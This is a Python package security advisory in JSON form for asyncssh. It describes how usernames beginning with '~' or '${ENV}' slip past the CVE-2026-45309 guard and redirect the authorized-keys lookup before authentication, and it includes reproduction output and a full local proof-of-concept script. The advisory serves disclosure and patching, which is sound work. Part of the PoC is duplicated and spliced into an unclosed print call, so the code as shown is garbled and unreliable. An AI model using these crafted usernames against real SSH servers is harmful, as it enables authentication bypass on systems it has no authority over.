{"id":"PYSEC-2026-3809","summary":"asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution","details":"**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n  2.23.0 guard that sanitises the SSH username before `%u` substitution\n  in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n  leading `~` (or `${ENV}`), both of which are re-introduced by later\n  expansion and reach the file open — defeating the guard.\n\n  **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n  HEAD on 2026-05-29).\n\n  ## Summary\n  The fix for CVE-2026-45309 added a guard in\n  `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n  rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n  it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n      if self._user == '..' or '/' in self._user or '\\\\' in self._user:\n          raise IllegalUserName('Unsafe username substitution')\n\n  However, the `%u`-substituted value is subsequently passed through\n  environment-variable expansion (`_expand_val`, `config.py:145-149` —\n  token expansion then env expansion) and, at file-open time, through\n  `expanduser()` (`read_authorized_keys` → `read_file` →\n  `open(Path(filename).expanduser())`, `auth_keys.py:348` →\n  `misc.py:290`). Both re-introduce the path control the guard was meant\n  to remove, so a username that contains no `/`/`\\` can still cause the\n  server to read an authorized-keys file outside the intended per-user\n  directory.\n\n  The client-supplied username reaches this path pre-authentication:\n  `_process_userauth_request` takes the username from the\n  `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n  `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n  which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n  (`connection.py:5906`) before the offered key is validated.\n\n  ## Primary vector — leading `~`\n  A username such as `~root` or `~victim` passes the guard (no `/`). For\n  a server whose `AuthorizedKeysFile` begins with `%u` — e.g.\n  `AuthorizedKeysFile %u/.ssh/authorized_keys` — the expanded value is\n  `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n  `/home/victim/.ssh/authorized_keys` (`~root` → `/root/...`; a bare `~`\n  → the server process's home). The username has therefore escaped the\n  intended per-user location without using any path separator —\n  defeating the purpose of the guard.\n\n  Note: `expanduser()` only expands a leading `~`, so this vector\n  requires `%u` to be the first path component of `AuthorizedKeysFile`.\n  (The CVE-2026-45309 `authorized_keys/%u` example — `%u` not leading —\n  is not reachable this way; that was the `../` form.)\n\n  ## Impact and limitations\n  - Demonstrated (verified against source at `a60f863`): the guard is\n  bypassable and the authorized-keys lookup is redirected to an\n  attacker-named home tree, pre-auth, with a separator-free username.\n  - Impact model = identical to CVE-2026-45309: authenticating as the\n  redirected username when a readable authorized-keys file containing\n  the attacker's key is reachable at the redirected location. The parent\n  CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n  this is scored consistently.\n  - Not built: a live multi-account SSH auth harness; the PoC verifies\n  the path-redirection mechanism in-process, deterministically. No new\n  primitive is claimed beyond the parent CVE's accepted model — only\n  that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n  - Preconditions (captured by AC:H): `%u` must be the leading path\n  component; on Python 3.13, `Path('~nonexistentuser').expanduser()`\n  raises `RuntimeError`, so only existing accounts are reachable\n  (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n  ## Secondary vector — `${ENV}` (defense-in-depth only)\n  A username like `${HOME}` also passes the guard and is then\n  environment-expanded, re-introducing `/`. Weaker and not a practical\n  exploit: the attacker can only reference env vars that already exist\n  in the server process (a missing variable raises `ConfigParseError`)\n  and cannot control their values. Reported as hardening.\n\n  ## Reproduction\n  In-process, deterministic, no network. Against a checkout of asyncssh\n  2.23.0:\n\n      cd /path/to/asyncssh\n      PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n  Output (abridged):\n\n      [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)\n          literal-slash user '/etc' blocked:           True\n      [A] tilde bypass  user '~root':\n          guard blocks it? False        (False == bypass)\n          expanded config value : ['~root/.ssh/authorized_keys']\n          after expanduser()    : /root/.ssh/authorized_keys   \u003c-- read  as authorized_keys\n      VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n  ## Suggested fix\n  Tighten `_set_tokens` to also reject usernames that re-introduce path\n  control after expansion — reject a leading `~` / `~user` and `$`/`${`\n  references in `self._user`. More robustly, validate that the FINAL\n  expanded `AuthorizedKeysFile` path remains within the intended base\n  directory, and/or suppress `expanduser`/environment expansion on the\n  `%u`-derived component specifically.\n\n  ## Disclosure\n  Coordinated, ~90-day default. I will not publish details/PoC before a\n  fix is released, and am happy to validate the patch. Credit (if given)\n  to `cesabici-bit`.\n\n  ## PoC source\n  (see code block below)\n\n```python\n #!/usr/bin/env python3\n  \"\"\"\n  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n  control). Local-only, in-process, deterministic. No network.\n\n  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n  SSHServerConfig._set_tokens that rejects a client username containing\n  '/', '\\\\', or equal to '..' before it is substituted for the %u token in\n  the server's AuthorizedKeysFile directive.\n\n  This PoC shows the blocklist is bypassable: the %u value is afterwards run\n  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n  re-introduce the path control the guard was meant to remove.\n\n  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets\n  a separator-free username (e.g. '~root') escape to another home tree when %u\n  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n  only REFERENCE env vars that already exist on the server and cannot control\n  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n  illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n  Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n      cd /tmp/targets/asyncssh && python3 \u003cthisfile\u003e\n  \"\"\"\n\n  import os\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  import asyncssh\n  from asyncssh.config import SSHServerConfig\n\n  try:\n      from asyncssh.misc import IllegalUserName\n  except Exception:  # pragma: no cover\n      IllegalUserName = asyncssh.IllegalUserName\n\n\n  def expand_authkeys(user, cfg_text):\n      \"\"\"Load a server config exactly as SSHServerConnection does and return the\n      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n      CVE-2026-45309 guard fires.\"\"\"\n      with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n          f.write(cfg_text)\n          cfg_path = f.name\n      try:\n          # mirror connection.py:8897\n          #   SSHServerConfig.load(last_config, config, reload, canonical, final,\n          #                        accept_addr, accept_port, username,\n          #                        client_host, client_addr)\n          cfg = SSHServerConfig.load(\n              None, cfg_path, True, False, False,\n              \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n          )\n          return cfg.get(\"AuthorizedKeysFile\")\n      finally:\n          os.unlink(cfg_path)\n\n\n  def guard_blocks(user, cfg_text):\n      \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n      try:\n          expand_authkeys(user, cfg_text)\n          return False\n      except IllegalUserName:\n          return True\n\n\n  def main():\n      print(f\"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})\")\n      print(f\"# python {sys.version.split()[0]}\\n\")\n\n      results = []\n\n      # ---- Sanity 0: benign username expands normally -----------------------\n      cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n      val = expand_authkeys(\"alice\", cfg)\n      print(f\"[0] benign user 'alice':            {val}\")\n      results.append((\"benign expands to per-user path\",\n                      val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n      blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n      print(f\"[1] original CVE '../../../../tmp/evil' blocked: {blocked}\")\n      results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n      # also: a literal slash is blocked (the guard's whole purpose)\n      slash_blocked = guard_blocks(\"/etc\", cfg)\n      print(f\"    literal-slash user '/etc' blocked: {slash_blocked}\")\n      results.append((\"literal-slash username is blocked\", slash_blocked))\n\n      print()\n\n      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n      cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n      blocked_a = guard_blocks(\"~root\", cfg_a)\n      val_a = expand_authkeys(\"~root\", cfg_a)\n      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does\n      print(f\"[A] tilde bypass  user '~root':\")\n      print(f\"    guard blocks it? {blocked_a}   (False == bypass)\")\n      print(f\"    expanded config value : {val_a}\")\n      print(f\"    after expanduser()    : {resolved_a}   \u003c-- read as authorized_keys\")\n      results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n      results.append((\"A: expanduser() redirects to another home tree\",\n                      resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -\u003e '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b} (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -\u003e '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b}   (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n            \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n            if ok else \"one or more checks did not hold\")\n      return 0 if ok else 1\n\n\n  if __name__ == \"__main__\":\n      sys.exit(main())\n```","aliases":["CVE-2026-54590","GHSA-qr67-gv47-xwwh"],"modified":"2026-09-10T12:15:06.046808363Z","published":"2026-09-10T09:44:57.598850Z","references":[{"type":"WEB","url":"https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54590"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"},{"type":"PACKAGE","url":"https://github.com/ronf/asyncssh"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/releases/tag/v2.23.1"},{"type":"PACKAGE","url":"https://pypi.org/project/asyncssh"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qr67-gv47-xwwh"}],"affected":[{"package":{"name":"asyncssh","ecosystem":"PyPI","purl":"pkg:pypi/asyncssh"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.23.1"}]}],"versions":["0.8.1","0.8.2","0.8.3","0.8.4","0.9.0","0.9.1","0.9.2","1.0.0","1.0.1","1.1.0","1.1.1","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.14.0","1.15.0","1.15.1","1.16.0","1.16.1","1.17.0","1.17.1","1.18.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.9.0","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.13.0","2.13.1","2.13.2","2.14.0","2.14.1","2.14.2","2.15.0","2.16.0","2.17.0","2.18.0","2.19.0","2.2.0","2.2.1","2.20.0","2.21.0","2.21.1","2.22.0","2.23.0","2.3.0","2.4.0","2.4.1","2.4.2","2.5.0","2.6.0","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/asyncssh/PYSEC-2026-3809.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}